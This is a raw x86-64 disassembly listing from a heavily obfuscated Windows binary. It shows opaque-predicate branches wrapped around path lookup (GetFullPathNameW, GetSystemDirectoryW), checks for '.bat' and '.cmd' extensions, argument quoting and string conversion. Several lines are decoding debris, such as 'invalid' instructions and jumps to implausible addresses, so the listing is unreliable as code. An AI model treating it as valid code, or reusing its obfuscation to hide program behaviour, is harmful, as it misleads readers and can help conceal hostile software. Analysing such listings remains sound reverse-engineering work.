mov edi, dword [0x141f3fc78]
xor edi, dword [0x141f3fc7c]
add edi, 0xa974f8e0
or edi, 0x4410253f
add edi, 0x9a082d8c
mov rcx, rsi
call fcn.1400a7f50
cmp edi, 0x614b13a5
jb 0x1400ac627
invalid
mov eax, dword [0x141f3fc80]
imul eax, dword [0x141f3fc84]
or eax, 0xe40ed4f
xor eax, 0x467e907c
imul eax, eax, 0xe45b27a
cmp eax, 0x21f6c3cc
jb 0x1400ac655
mov rsi, qword [rsp + 0xa8]
mov r8, qword [rsp + 0xb0]
lea rcx, [rsp + 0x160]
mov rdx, rsi
call fcn.1400b7d10
cmp qword [rsp + 0xa0], 0
je 0x1400ac704
mov eax, dword [0x141f3fc88]
sub eax, dword [0x141f3fc8c]
xor eax, 0x44007820
or eax, 0xa81703d6
imul eax, eax, 0xb1e867f0
mov rdi, qword [0x141f49060]
cmp eax, 0x549e582a
jb 0x1400ac6a4
mov r14, qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x141f3fc90]
xor edx, edx
div dword [0x141f3fc94]
mov ebx, eax
add ebx, 0x911be8fb
xor ebx, 0x82492ac4
mov rcx, rdi
xor edx, edx
mov r8, rsi
call r14
cmp ebx, 0x26c33cab
ja 0x1400ac6d5
mov eax, dword [0x141f3fc98]
sub eax, dword [0x141f3fc9c]
add eax, 0x2763ea69
cmp eax, 0xe93d1ef4
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x158], rax
nop word [rax + rax]
mov eax, dword [0x141f3fca0]
or eax, dword [0x141f3fca4]
add eax, 0xbefb9e02
imul rax, rax, 0x76ac4201
shr rax, 0x39
add eax, 0xa601b342
cmp eax, 0xafa982dc
ja 0x1400ac730
mov r14, qword [rsp + 0x168]
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x118], rax
mov eax, dword [0x141f3fca8]
and eax, dword [0x141f3fcac]
imul eax, eax, 0x5daa8212
add eax, 0xf559a2d3
cmp eax, 0xd84465dc
jb 0x1400ac770
cmp qword [rsp + 0x70], 0
je 0x1400ac810
mov rsi, qword [0x141f49060]
mov eax, dword [0x141f3fcb0]
xor edx, edx
div dword [0x141f3fcb4]
and eax, 0x4814100
add eax, 0xc99739c2
cmp eax, 0x7d0c1e67
jae 0x1400ac7cc
mov rcx, rsi
xor edx, edx
mov r8, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, 0xb167b4bf
mov rbx, qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13, qword [rsp + 0x60]
mov eax, dword [0x141f3fcb8]
or eax, dword [0x141f3fcbc]
and eax, 0xf012578f
imul rax, rdi
shr rax, 0x3f
imul ebp, eax, 0x49002cc5
mov rcx, rsi
xor edx, edx
mov r8, r13
call rbx
cmp ebp, 0x53785851
je 0x1400ac7dd
nop
mov eax, dword [0x141f3fcd0]
xor eax, dword [0x141f3fcd4]
imul eax, eax, 0x540395f9
cmp eax, 0x5c5826e2
je 0x1400ac810
movabs rcx, 0x8000000000000000
lea rax, [rcx + 2]
mov rsi, qword [rsp + 0x158]
cmp rsi, rax
jge 0x1400ac8cf
cmp rsi, rcx
je case.0x1400ae30c.0
movabs rax, 0x8000000000000001
cmp rsi, rax
je 0x1400ae2f8
mov eax, dword [0x141f3fcd8]
xor eax, dword [0x141f3fcdc]
and eax, 0xd53d12c8
xor eax, 0xa9676f85
add eax, 0x4a451643
cmp eax, 0xbf16b1bd
ja 0x1400ae203
jmp 0x1400ae1df
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, eax
shl r14, 0x20
cmp qword [rsp + 0x70], 0
je 0x1400ae2a3
mov eax, dword [0x141f3fc20]
and eax, dword [0x141f3fc24]
xor eax, 0x1a5d42c4
imul eax, eax, 0x80559f51
cmp eax, 0xbf39036d
je 0x1400ae270
jmp 0x1400ae245
mov rdi, qword [rsp + 0x118]
jmp 0x1400ac98f
mov eax, dword [0x141f3fcc0]
or eax, dword [str.Icr_]
add eax, 0x28f7e1d8
xor eax, 0xd417afdf
imul eax, eax, 0xda7ecc66
cmp eax, 0x7d36bd74
jne 0x1400ac901
ud2
mov eax, dword [0x141f3fcc8]
mov ecx, dword [0x141f3fccc]
add eax, ecx
add eax, 0x8fe69387
and eax, 0xa686b20
add eax, 0x1d9ee47f
ud2
mov qword [rsp + 0x158], rsi
cmp rdi, 4
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x118], rdi
jae 0x1400abe8e
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 2
mov qword [rsp + 0xb0], 0
nop word cs:[rax + rax]
mov eax, dword [0x141f3fef8]
xor eax, dword [0x141f3fefc]
or eax, 0x282040a2
and eax, 0xaef040b2
imul eax, eax, 0xefe05c0f
cmp eax, 0x23c81e38
ja 0x1400ac9e0
mov r13d, 0x200
mov eax, 2
mov qword [rsp + 0x60], rax
xor ebx, ebx
mov r14, qword [sym.imp.KERNEL32.dll_GetLastError]
xor r15d, r15d
xor ebp, ebp
nop word cs:[rax + rax]
cmp r13, 0x201
jae 0x1400aca50
mov edi, 0x200
lea r12, [rsp + 0x1f0]
jmp 0x1400acad3
sub r13, rbp
nop word cs:[rax + rax]
mov eax, dword [0x141f3ff00]
xor eax, dword [0x141f3ff04]
cmp eax, 0xecf0ab6
je 0x1400aca60
sub r15, rbp
nop word cs:[rax + rax]
mov eax, dword [0x141f3ff08]
add eax, dword [0x141f3ff0c]
xor eax, 0x18841a62
or eax, 0x676be509
imul eax, eax, 0xc9e30f6a
cmp eax, 0xf6d39780
ja 0x1400aca80
cmp r13, r15
ja 0x1400acbb9
mov eax, 0xffffffff
cmp rbx, rax
mov ebp, 0xffffffff
cmovb rbp, rbx
mov qword [rsp + 0xb0], rbp
mov r15, rbx
mov rdi, rbp
mov r12, qword [rsp + 0x60]
mov r13, rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rsp + 0x58]
mov edx, r13d
mov r8, r12
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov r14b, 5
add byte [rcx + 0x75c085c6], cl
invalid
call r14
test eax, eax
jne 0x1400ace36
mov eax, esi
cmp r13, rax
jne 0x1400acb80
mov eax, dword [0x141f3ff30]
sub eax, dword [0x141f3ff34]
add eax, 0x7401713a
cmp eax, 0xd38e0419
sal dword [rsi + 3], cl
call r14
call r14
cmp eax, 0x7a
jne 0x1400aceca
cmp r13, 0x7fffffff
lea r13, [r13 + r13]
mov eax, 0xffffffff
cmova r13, rax
nop word cs:[rax + rax]
invalid
mov eax, dword [0x141f3ff38]
xor eax, dword [str.O_K]
add eax, 0xca730cd7
xor eax, 0xce5e759e
imul eax, eax, 0xc95a50a8
cmp eax, 0xae1e4ca3
ja 0x1400acb50
jmp 0x1400acb90
jae 0x1400acc35
mov r13, rax
nop dword [rax]
mov eax, dword [0x141f3ff40]
imul eax, dword [0x141f3ff44]
xor eax, 0x20041aec
or eax, 0x87514411
imul eax, eax, 0x3f701181
cmp eax, 0xf16b374c
ja 0x1400acb90
jmp case.0x14009eaa8.182
mov eax, dword [0x141f3ff10]
and eax, dword [0x141f3ff14]
imul eax, eax, 0xf9c0753e
add eax, 0xdb0f1bcd
cmp eax, 0xfa957192
jbe 0x1400acbf9
mov qword [rsp + 0x20], 2
mov r9d, 2
lea rcx, [rsp + 0xa0]
mov rdx, rbp
mov r8, r13
call fcn.1401035b0
mov qword [rsp + 0x20], 2
mov r9d, 2
mov ecx, 2
lea rcx, [rsp + 0xa0]
mov rdx, rbp
mov r8, r13
call fcn.1401035b0
mov rbx, qword [rsp + 0xa0]
movabs al, byte [0xa824848b48000000]
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x60
jmp 0x1400acaac
cmp rdi, rax
jb case.default.0x1400ab46c
mov r8, qword [rsp + 0x60]
nop word cs:[rax + rax]
mov ecx, dword [0x141f3ff58]
sub ecx, dword [0x141f3ff5c]
or ecx, 0x349e3930
add ecx, 0x78cc7513
cmp ecx, 0xadffe285
invalid
lodsd eax, dword [rsi]
ja 0x1400acc50
cmp esi, 4
jb 0x1400ace09
nop dword [rax]
mov ecx, dword [0x141f3ff60]
and ecx, dword [0x141f3ff64]
or ecx, 0x81dc2069
xor ecx, 0xd20adc89
cmp ecx, 0xfc1c6b34
sbb al, 0xfc
sbb al, 0xfc
ja 0x1400acc80
mov ecx, dword [0x141f3ff68]
and ecx, dword [0x141f3ff6c]
xor ecx, 0x79a7a6ff
add ecx, 0xfa6d79b
cmp ecx, 0x714e70bf
jno 0x1400acd36
invalid
jno 0x1400acd36
loopne case.0x1400a3526.40
cmp word [r12 + rax*2 - 8], 0x2e
cmp dword [r12 + rax*2 - 8], 0x2e
jne 0x1400ace09
nop dword [rax]
mov ecx, dword [0x141f3ff70]
sub ecx, dword [str.OqKN_t]
cmp ecx, 0x2fef30c4
je 0x1400accd0
movzx ecx, word [r12 + rax*2 - 6]
xor esi, esi
lea edx, [rcx - 0x42]
cmp edx, 0x21
ja case.0x1400acd06.68
lea r9, [0x141f2739c]
movsxd rdx, dword [r9 + rdx*4]
add rdx, r9
jmp rdx
mov edx, dword [0x141f3ff80]
add edx, dword [0x141f3ff84]
or edx, 0xd22a143a
imul rdx, rdx, 0x302a3c7f
shr rdx, 0x3d
cmp edx, 0x4bc14b3d
cmp eax, 0x774bc14b
invalid
cmp eax, 0x774bc14b
fild dword [rcx + 0xf]
mov bh, 0x54
cld
movzx edx, word [r12 + rax*2 - 4]
mov r9d, dword [0x141f3ff88]
imul r9d, dword [0x141f3ff8c]
xor r13b, cl
add dword [rdi + rcx - 0x51], eax
or eax, 0x1e9324a
imul r9d, r9d, 0xd55e070b
add r9d, 0x9a19b39e
cmp r9d, 0x1c40a7e2
jb 0x1400acd33
or edx, 0x20
cmp edx, 0x61
jne 0x1400acd97
movzx edx, word [r12 + rax*2 - 2]
mov r9d, dword [0x141f3ff90]
or r9d, dword [0x141f3ff94]
or ecx, dword [0x141f3ff94]
add r9d, 0xd3e8c50e
and r9d, 0xbd6ace87
ror dword [rsi], 0xc5
call 0x1218c0f52
xchg esi, ecx
push 0xffffffffffffffbd
cmp r9d, 0x2b4a79f
jb case.0x1400a653b.24
mov sil, 1
or edx, 0x20
cmp edx, 0x74
je case.0x1400acd06.68
mov edx, dword [0x141f3ff78]
xor edx, dword [0x141f3ff7c]
fnstenv [rcx]
jmp 0x196cd4ea7
or eax, 0xf281c2be
cdq
invalid
invalid
push rax
fnstenv [rcx]
jmp 0x196cd4ea7
add edx, 0xd13ac3c3
cmp dl, cl
cmp edx, 0xa0357969
ja 0x1400acd97
cmp cx, 0x43
jne 0x1400ace09
stc
jne 0x1400ace09
movzx ecx, word [r12 + rax*2 - 4]
or ecx, 0x20
cmp ecx, 0x6d
jne 0x1400ace09
movzx eax, word [r12 + rax*2 - 2]
add eax, 0xffffffbc
test eax, 0xffdf
sete sil
mov eax, dword [0x141f3ff98]
xor edx, edx
div dword [0x141f3ff9c]
add eax, 0x2ce811c1
xor eax, 0x74db4a80
add eax, 0xcb9ba743
cmp eax, 0x5302437b
ja 0x1400acde3
jmp case.0x1400acd06.68
xor esi, esi
test rbx, rbx
je 0x1400acfb0
mov eax, dword [0x141f3ffa0]
imul eax, dword [0x141f3ffa4]
and eax, 0x370558b3
cmp eax, 0x42dd20b8
je 0x1400acf9c
jmp 0x1400acf78
mov r13, qword [rsp + 0x90]
mov r15, qword [rsp + 0x80]
nop word cs:[rax + rax]
mov eax, dword [0x141f3ff18]
xor edx, edx
div dword [0x141f3ff1c]
mov edi, eax
and edi, 0xbd2d029c
xor edi, 0xc26ec9b4
add edi, 0xc8f7b65f
call r14
cmp edi, 0x2338000b
jae 0x1400ace82
call r14
jmp 0x1400ace50
mov esi, eax
shl rsi, 0x20
or rsi, 2
test rbx, rbx
mov r14, qword [rsp + 0x60]
je 0x1400acf59
mov rdi, qword [0x141f49060]
mov eax, dword [0x141f3ff20]
or eax, dword [0x141f3ff24]
or eax, 0x2fb6a1fb
imul eax, eax, 0xefcffd7d
add eax, 0x717eaade
cmp eax, 0x374eeff5
jb 0x1400acf49
jmp 0x1400acf15
mov eax, dword [0x141f3ff48]
imul eax, dword [0x141f3ff4c]
or eax, 0x10004810
and eax, 0x11024810
cmp eax, 0x9ee776a9
jbe 0x1400acef0
ud2
mov eax, dword [0x141f3ff50]
or eax, dword [0x141f3ff54]
and eax, 0xfa5d21a8
imul eax, eax, 0xbf1e06aa
ud2
jmp 0x1400acf3e
mov ebx, dword [0x141f3ff28]
xor ebx, dword [0x141f3ff2c]
sbb eax, 0x1e9300b
sbb eax, 0x1e9300b
add ebx, 0xb76429ac
xor ebx, 0x804180a0
add byte [rcx - 0x2a4d4f1d], 0xa1
add byte [rcx - 0x2a4d4f1d], 0xa1
mov rcx, rdi
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp ebx, 0x43c7fb5c
jb 0x1400acf59
mov bl, 5
add byte [rcx - 0x3804a305], al
jb 0x1400acf59
mov rcx, rdi
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400acf15
mov rax, qword [rsp + 0x98]
mov qword [rax], rsi
mov qword [rax + 0x10], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
xor edi, edi
mov r14, qword [rsp + 0x58]
jmp 0x1400b2ad0
mov eax, dword [0x141f3ffa8]
sub eax, dword [0x141f3ffac]
or eax, 0x4802a1a8
and eax, 0x580ea1a8
mov rcx, qword [0x141f49060]
cmp eax, 0x4684f131
jae 0x1400acfa5
mov rax, qword [0x141f49060]
jmp 0x1400acf78
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax]
mov eax, dword [0x141f3ffb0]
imul eax, dword [0x141f3ffb4]
cmp eax, 0x2d093d98
je 0x1400acfb0
nop word cs:[rax + rax]
mov eax, dword [0x141f3ffb8]
sub eax, dword [0x141f3ffbc]
add eax, 0xbc044233
or eax, 0x2779c2aa
add eax, 0x4b0da39f
cmp eax, 0x1fbdf20c
jb 0x1400acfd0
nop word cs:[rax + rax]
mov eax, dword [0x141f3ffc0]
or eax, dword [0x141f3ffc4]
imul rax, rax, 0x17eedd45
shr rax, 0x3c
or eax, 0x3e1fa3a0
cmp eax, 0xc037f6a1
ja case.0x1400abf6f.68
mov dword [rsp + 0x150], esi
test sil, sil
je 0x1400ad30c
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 2
mov qword [rsp + 0xb0], 0
mov r15d, 0x200
mov eax, 2
mov qword [rsp + 0x70], rax
xor r14d, r14d
xor eax, eax
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rsp + 0x60], rax
xor r13d, r13d
mov r12, qword [rsp + 0x80]
jmp 0x1400ad090
jae 0x1400ad486
nop dword [rax + rax]
mov eax, dword [0x141f40090]
add eax, dword [0x141f40094]
imul eax, eax, 0x396008da
or eax, 0x448e7d8c
add eax, 0x8a15ac25
cmp eax, 0x458b393
jb 0x1400ad090
cmp r15, 0x201
jae 0x1400ad0e0
mov eax, 0x200
mov qword [rsp + 0x78], rax
lea rsi, [rsp + 0x1f0]
mov rbp, r15
jmp 0x1400ad13f
mov eax, dword [0x141f40098]
add eax, dword [0x141f4009c]
or eax, 0x3abea9b6
imul eax, eax, 0x6b7149f3
cmp eax, 0x832b165a
je 0x1400ad0e0
sub r15, r13
mov rax, qword [rsp + 0x60]
sub rax, r13
cmp r15, rax
ja 0x1400ad16e
mov rax, qword [rsp + 0x68]
mov ecx, 0xffffffff
cmp rax, rcx
mov r13d, 0xffffffff
cmovb r13, rax
mov qword [rsp + 0xb0], r13
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x78], r13
mov rsi, qword [rsp + 0x70]
mov rbp, r13
mov eax, dword [0x141f400a8]
and eax, dword [0x141f400ac]
xor eax, 0x9a388b09
add eax, 0xe82d047c
and eax, 0xc028fbae
cmp eax, 0x9bd51e23
mov r15, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
ja 0x1400ad2f7
jmp 0x1400ad1c2
mov qword [rsp + 0x20], 2
mov r9d, 2
lea rcx, [rsp + 0xa0]
mov rdx, r13
mov r8, r15
call fcn.1401035b0
mov eax, dword [0x141f400a0]
or eax, dword [0x141f400a4]
cmp eax, 0x53cf621e
je 0x1400ad190
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x70], rax
jmp 0x1400ad10e
mov eax, dword [0x141f400b0]
xor edx, edx
div dword [0x141f400b4]
mov edi, eax
add edi, 0xc3455ce2
and edi, 0x5d490953
xor edi, 0xe391b252
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, rsi
mov edx, ebp
call r15
cmp edi, 0xf0fcdff8
ja 0x1400ad2f7
mov ebx, eax
test eax, eax
jne 0x1400ad240
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [0x141f400b8]
mov edx, dword [0x141f400bc]
add ecx, edx
add ecx, 0x14f7e2ce
or ecx, 0xa4e94567
cmp ecx, 0xf555b164
jb 0x1400ad210
test eax, eax
jne 0x1400ad4bf
nop word [rax + rax]
mov eax, dword [0x141f400d0]
xor edx, edx
div dword [0x141f400d4]
or eax, 0xf5bfd279
imul eax, eax, 0x7b10aee1
cmp eax, 0xe1fe8b4f
je 0x1400ad240
mov r15d, ebx
cmp rbp, r15
jne 0x1400ad085
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop word cs:[rax + rax]
mov ecx, dword [0x141f400d8]
and ecx, dword [0x141f400dc]
or ecx, 0xa49fd185
xor ecx, 0xbfdd923f
cmp ecx, 0x927fdd40
ja 0x1400ad280
cmp eax, 0x7a
jne 0x1400ae0ab
nop dword [rax]
test r14b, r14b
jne 0x1400ad2b0
lea r15, [rbp*2]
cmp rbp, 0x7fffffff
mov eax, 0xffffffff
cmova r15, rax
nop dword [rax]
mov eax, dword [0x141f400e0]
or eax, dword [0x141f400e4]
and eax, 0xeb77361d
add eax, 0x89d9df18
xor eax, 0xb7224d13
cmp eax, 0x94ce3ae
jbe 0x1400ad2d0
jmp 0x1400ad090
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, rsi
mov edx, ebp
call r15
jmp 0x1400ad1c2
lea rsi, [rsp + 0xa0]
mov r13, qword [rsp + 0x140]
nop dword [rax]
mov eax, dword [0x141f40010]
or eax, dword [0x141f40014]
imul rax, rax, 0x40ff51e1
shr rax, 0x3c
imul ebp, eax, 0xfd064cd7
or ebp, 0x6299daed
mov r14, qword [r13 + 8]
mov r12, qword [r13 + 0x10]
mov r15, qword [r13 + 0x28]
mov rdi, qword [r13 + 0x30]
movzx ebx, byte [r13 + 0xc9]
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 2
mov qword [rsp + 0xb0], 0
mov rcx, rsi
call fcn.1400e09f0
mov rax, qword [rsp + 0xa8]
mov word [rax], 0x22
mov qword [rsp + 0xb0], 1
cmp ebp, 0xa258b643
jb 0x1400ad320
add r12, r14
mov qword [rsp + 0x1f0], r14
mov qword [rsp + 0x1f8], r12
mov word [rsp + 0x200], 0
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x1f0]
call fcn.140096e40
mov r14, qword [rsp + 0xb0]
cmp r14, qword [rsp + 0xa0]
jne 0x1400ad448
lea rsi, [rsp + 0xa0]
nop dword [rax + rax]
mov ebp, dword [0x141f40018]
and ebp, dword [0x141f4001c]
or ebp, 0x1eef30ef
add ebp, 0xb24edc63
xor ebp, 0x1f0cd88c
mov rcx, rsi
call fcn.1400e09f0
cmp ebp, 0xea3135c9
ja 0x1400ad400
nop
mov eax, dword [0x141f40020]
and eax, dword [0x141f40024]
add eax, 0x25c68d8c
cmp eax, 0xf6e02598
ja 0x1400ad430
mov rax, qword [rsp + 0xa8]
mov word [rax + r14*2], 0x22
inc r14
mov eax, dword [0x141f40028]
and eax, dword [0x141f4002c]
imul rax, rax, 0x78ef32a7
shr rax, 0x3e
add eax, 0x9088639b
cmp eax, 0xaaf9d85d
ja 0x1400af4c4
jmp 0x1400af499
cmp qword [rsp + 0x78], r15
jb 0x1400ae155
lea rdi, [r15 + r15]
test ebx, ebx
je 0x1400ad56a
movzx eax, byte [0x141f49078]
xor ecx, ecx
mov rdx, rdi
call fcn.1400c6170
mov rbx, rax
test rax, rax
jne 0x1400ad56f
jmp 0x1400ac103
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
cmp qword [rsp + 0x68], 0
mov r13, qword [rsp + 0x90]
mov r14, qword [rsp + 0x58]
mov r15, r12
je 0x1400ad559
mov eax, dword [0x141f400c0]
xor eax, dword [0x141f400c4]
and eax, 0x1c6287f7
imul eax, eax, 0xc860f557
or eax, 0x363da3e1
cmp eax, 0x83a76e6b
jbe 0x1400ad50d
mov rax, qword [0x141f49060]
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xbbd72fcd
nop word cs:[rax + rax]
mov ecx, dword [0x141f400c8]
imul ecx, dword [0x141f400cc]
imul rcx, rax
shr rcx, 0x3f
or ecx, 0xd4a22b0
imul ecx, ecx, 0xe738de05
cmp ecx, 0x589d56cc
jb 0x1400ad530
or rbx, 2
mov rdx, qword [rsp + 0x98]
jmp 0x1400ad9cf
mov ebx, 2
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rsp + 0x68], 0
jne 0x1400ad597
jmp 0x1400ad5d0
mov rax, qword [0x141f49060]
mov eax, dword [0x141f400f0]
xor eax, dword [0x141f400f4]
add eax, 0x85175c82
mov rcx, qword [0x141f49060]
cmp eax, 0x1311db08
jb 0x1400ad590
xor edx, edx
mov r8, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x141f40110]
xor edx, edx
div dword [0x141f40114]
add eax, 0xd5168b26
cmp eax, 0xce5dea4d
jb 0x1400ad5d0
mov qword [rsp + 0x160], r15
mov qword [rsp + 0x168], rbx
mov qword [rsp + 0x170], r15
lea rbp, [0x141f25a4a]
xor edi, edi
mov r13d, 0xcb1207c9
lea r11, [0x141f25a52]
movabs rsi, 0xaaaaaaaaaaaaaaab
xor r12d, r12d
xor r10d, r10d
mov rdx, qword [rsp + 0x98]
jmp 0x1400ad660
xor r9d, r9d
mov r14d, r12d
cmp r15, qword [rsp + 0x160]
je 0x1400ad819
mov r12d, r9d
mov word [rbx + r15*2], r14w
inc r15
mov qword [rsp + 0x170], r15
nop dword [rax]
mov eax, dword [0x141f40118]
and eax, dword [0x141f4011c]
imul rax, r13
shr rax, 0x3d
imul eax, eax, 0xd179b42c
add eax, 0x90c7c4ce
cmp eax, 0x47b58aca
jb 0x1400ad660
test rbp, rbp
je 0x1400ad7c0
nop
mov eax, dword [0x141f40120]
or eax, dword [0x141f40124]
imul rax, rax, 0x3f03cc11
shr rax, 0x3c
imul eax, eax, 0xcca331a4
cmp eax, 0x277a3078
jb 0x1400ad690
test r12w, r12w
jne 0x1400ad632
nop
mov eax, dword [0x141f40128]
and eax, dword [0x141f4012c]
add eax, 0xf8ee7d3
xor eax, 0x26dd1146
imul eax, eax, 0x595c3e5d
cmp eax, 0xa4d9f46b
jb 0x1400ad6c0
cmp rbp, r11
je 0x1400ad7c0
nop dword [rax]
mov eax, dword [0x141f40130]
or eax, dword [0x141f40134]
imul eax, eax, 0xd72991ee
cmp eax, 0x3882a967
jb 0x1400ad6f0
lea r8, [rbp + 1]
nop dword [rax]
mov eax, dword [0x141f40138]
add eax, dword [0x141f4013c]
cmp eax, 0x7612f0be
je 0x1400ad710
movzx ecx, byte [rbp]
test cl, cl
jns 0x1400ad969
mov eax, ecx
and eax, 0x1f
movzx edx, byte [rbp + 1]
and edx, 0x3f
cmp cl, 0xdf
jbe 0x1400ad8be
nop word cs:[rax + rax]
mov r8d, dword [0x141f40140]
and r8d, dword [0x141f40144]
xor r8d, 0x5a7ae670
imul r8d, r8d, 0x80fb5df6
xor r8d, 0x804c0108
cmp r8d, 0x5e19b946
jb 0x1400ad750
movzx r9d, byte [rbp + 2]
shl edx, 6
and r9d, 0x3f
or r9d, edx
cmp cl, 0xf0
jb 0x1400ad8d1
movzx ecx, byte [rbp + 3]
add rbp, 4
and eax, 7
shl eax, 0x12
shl r9d, 6
and ecx, 0x3f
or ecx, r9d
or ecx, eax
mov r8, rbp
jmp 0x1400ad8f0
mov eax, dword [0x141f40158]
xor eax, dword [0x141f4015c]
imul eax, eax, 0x11b91c74
add eax, 0x312d3004
or eax, 0xb404389c
cmp eax, 0xdfe9ee30
jb 0x1400ad7c0
mov rcx, qword [rsp + 0x160]
cmp r10, 1
je 0x1400ad980
mov r10d, 1
xor r14d, r14d
mov ebp, 0
mov edi, 1
mov r8d, 0
cmp r15, rcx
jne 0x1400ad649
jmp 0x1400ad877
mov rbx, r10
lea rcx, [0x141f25a4a]
sub rcx, rbp
add rcx, 0xa
nop word [rax + rax]
mov eax, dword [0x141f40160]
and eax, dword [0x141f40164]
imul r10d, eax, 0x769cf47c
add r10d, 0x6e21b4b8
mov rax, rcx
mul rsi
cmp r9w, 1
mov rax, rdi
adc rax, 0xffffffffffffffff
cmp r10d, 0xfee0a6d3
jae 0x1400ad830
mov r8, rdx
shr r8, 1
sub r8, rax
inc r8
mov r12d, r9d
mov r10, rbx
mov qword [rsp + 0x60], r10
inc r8
mov qword [rsp + 0x20], 2
add byte [rax], al
mov r9d, 2
lea rcx, [rsp + 0x160]
mov rdx, r15
mov rbx, r11
call fcn.1401035b0
mov r10, qword [rsp + 0x60]
mov r11, rbx
mov rdx, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x168]
jmp 0x1400ad649
add rbp, 2
shl eax, 6
or eax, edx
mov r8, rbp
mov ecx, eax
jmp 0x1400ad961
add rbp, 3
shl eax, 0xc
or r9d, eax
mov r8, rbp
mov ecx, r9d
nop word cs:[rax + rax]
mov eax, dword [0x141f40148]
sub eax, dword [0x141f4014c]
cmp eax, 0xc6fa6654
je 0x1400ad8f0
cmp ecx, 0xffff
jbe 0x1400ad961
lea r14d, [rcx + 0xff0000]
shr r14d, 0xa
or r14d, 0xd800
nop dword [rax]
mov eax, dword [0x141f40150]
xor edx, edx
div dword [0x141f40154]
xor eax, 0x16b7510c
imul eax, eax, 0xe89f2a6f
mov r9d, ecx
and r9d, 0x3ff
or r9d, 0xdc00
cmp eax, 0x31e9d54e
je 0x1400ad920
mov rbp, r8
mov rdx, qword [rsp + 0x98]
jmp 0x1400ad638
mov rdx, qword [rsp + 0x98]
xor r9d, r9d
mov rbp, r8
mov r14d, ecx
jmp 0x1400ad638
mov eax, dword [0x141f40168]
xor eax, dword [0x141f4016c]
add eax, 0x924eccb4
and eax, 0x92929b31
imul eax, eax, 0x46c0ed5
cmp eax, 0xee519af
jb 0x1400ad980
mov rbx, qword [rsp + 0x168]
movabs rax, 0x8000000000000000
cmp rcx, rax
mov r13, qword [rsp + 0x90]
mov r15, qword [rsp + 0x80]
mov r14, qword [rsp + 0x58]
jne 0x1400ad9e1
mov qword [rdx], rbx
mov qword [rdx + 0x10], 2
xor edi, edi
jmp 0x1400b2ad0
mov qword [rsp + 0x60], rcx
mov al, 1
test al, al
je 0x1400ae1bc
mov rax, qword [rsp + 0x140]
mov rcx, qword [rax + 0x28]
sub byte [rax - 0x77], cl
and al, 0x70
mov r14, qword [rax + 0x30]
movzx eax, byte [rax + 0xc9]
mov byte [rsp + 0x110], al
mov edi, 0xa
lea rdx, [rdi + rdi]
movzx eax, byte [0x141f49078]
add dword [rcx], esi
leave
call fcn.1400c6170
test rax, rax
je 0x1400ae129
nop word cs:[rax + rax]
mov ecx, dword [str.e_b_nK]
sub ecx, dword [0x141f4018c]
or ecx, 0x654fb936
add ecx, 0x1cd080f3
xor ecx, 0x11854dc4
mov word [rax], 0x63
mov qword [rsp + 0x1f0], rdi
cmp ecx, 0x9904ae7d
ja 0x1400ada40
mov ecx, dword [0x141f40190]
or ecx, dword [0x141f40194]
mov edx, 0xb5e65603
imul rdx, rcx
shr rdx, 0x3e
or edx, 0x4253b92
xor edx, 0x732b8df6
cmp edx, 0x23d0f95e
jae 0x1400adab4
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x200], 1
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x200], 1
nop word cs:[rax + rax]
mov ecx, dword [0x141f40198]
imul ecx, dword [0x141f4019c]
or ecx, 0x6497458b
xor ecx, 0xb229b4d5
add ecx, 0x78bedbfe
cmp ecx, 0x5d8ac851
ja 0x1400adae0
lea r14, [0x141f25842]
mov ebx, 1
xor edi, edi
lea r13, [0x141f2585d]
lea rbp, [0x141f25841]
lea r12, [rsp + 0x1f0]
nop dword [rax + rax]
mov ecx, dword [0x141f401a0]
xor ecx, dword [0x141f401a4]
add ecx, 0x831a4204
and ecx, 0xd112c486
cmp ecx, 0x7deb3f34
ja 0x1400adb30
test di, di
je 0x1400adb6b
xor r15d, r15d
cmp rbx, qword [rsp + 0x1f0]
jne 0x1400add50
jmp 0x1400adc7d
cmp r14, r13
je 0x1400adda0
movzx ecx, byte [r14]
test cl, cl
js 0x1400adbab
inc r14
nop
mov edx, dword [0x141f401a8]
or edx, dword [0x141f401ac]
or edx, 0x823ae404
xor edx, 0x5b5b83e
imul edx, edx, 0x9e7c2cab
